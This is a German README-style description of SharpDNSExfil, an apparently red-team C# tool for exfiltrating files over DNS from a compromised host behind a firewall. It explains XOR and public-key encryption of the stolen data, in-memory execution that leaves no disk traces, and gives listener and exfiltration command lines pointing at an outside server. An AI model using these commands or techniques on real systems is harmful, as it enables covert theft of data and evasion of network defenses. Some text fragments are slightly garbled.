
C#-Tool zum Exfiltrieren von Dateien über DNS mittels XOR und asymmetrischer Verschlüsselung, konzipiert für Red-Team-Einsätze mit eingeschränkten ausgehenden Verbindungen.
SharpDNSExfil ist ein Exfiltrationstool, das in C# geschrieben ist. Das Hauptziel besteht darin, beliebige "auf der Festplatte" befindliche Dateien zu exfiltrieren, ohne sich um eingeschränkte ausgehende Verbindungen sorgen zu müssen.
Ich habe während meines Einsatzes eine blinde RCE erhalten und es stellte sich heraus, dass das entfernte System einen Firewall-Schutz hat, der keine ausgehenden Verbindungen erlaubt, was mir eine Reverse-Verbindung sehr erschwerte. Das Gute ist, der DNS-Server kann öffentliche Domänen auflösen und kann mich über DNS erreichen. Das Problem war, ich konnte immer noch keine Reverse-Shell bekommen, ich konnte einige kleine Ausgaben lesen, aber kein Bueno. Also hatte ich die Idee, den Prozess nur über DNS zu automatisieren und alle Schritte zu wiederholen, und endlich funktioniert es!
HINWEIS: Der gesamte Prozess wurde bisher nur über einen benutzerdefinierten öffentlichen DNS-Server getestet, aber nicht vollständig in einer echten Unternehmensumgebung. Also Verwendung auf eigene Gefahr!
Alle exfiltrierten Bytes werden mit einem zufällig generierten Schlüssel XOR-verknüpft. Man könnte denken, der Schlüssel wäre dann im Klartext auf Netzwerkebene (Wireshark wird das zeigen). Mit der --encrypt-Option kommt die asymmetrische Verschlüsselung ins Spiel: Ein fest codierter öffentlicher Schlüssel verschlüsselt den XOR-Schlüssel. Das lokale System (Sie) erwartet eine verschlüsselte Form des Schlüssels; das Python-Skript entschlüsselt den Schlüssel automatisch mit seinem fest codierten privaten Schlüssel. Der Rest der übertragenen Daten wird wieder per XOR in seine ursprünglichen Bytes zurückverwandelt. Also, bitte immer die Schlüsselpaare ändern
| Vor der Verschlüsselung | Nach der Verschlüsselung |
|---|---|
![]() | ![]() |
dnsserver.py ein. Die Optionen lauten wie folgtpython3 dnserver.py --udp --port 53 --host 192.168.0.102
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102
SharpDNSExfil-Schritte und -Prozesse werden alle im Arbeitsspeicher ausgeführt, ohne die Festplatte zu berühren, um während des Einsatzes keine Rückstände zu hinterlassen. SharpDNSExfil informiert über jeden einzelnen Schritt oder Prozess, den es im Hintergrund ausführt, mit der --verbose-Option. Jedes gesendete Byte wird XOR-codiert und der Schlüssel wird zusätzlich mit asymmetrischer Verschlüsselung verschlüsselt, um Klartext-Schlüssel im Netzwerkverkehr zu vermeiden. Seien Sie besonders vorsichtig und machen Sie sich Notizen und führen Sie eine Bereinigung des Eigentums des Kunden durch.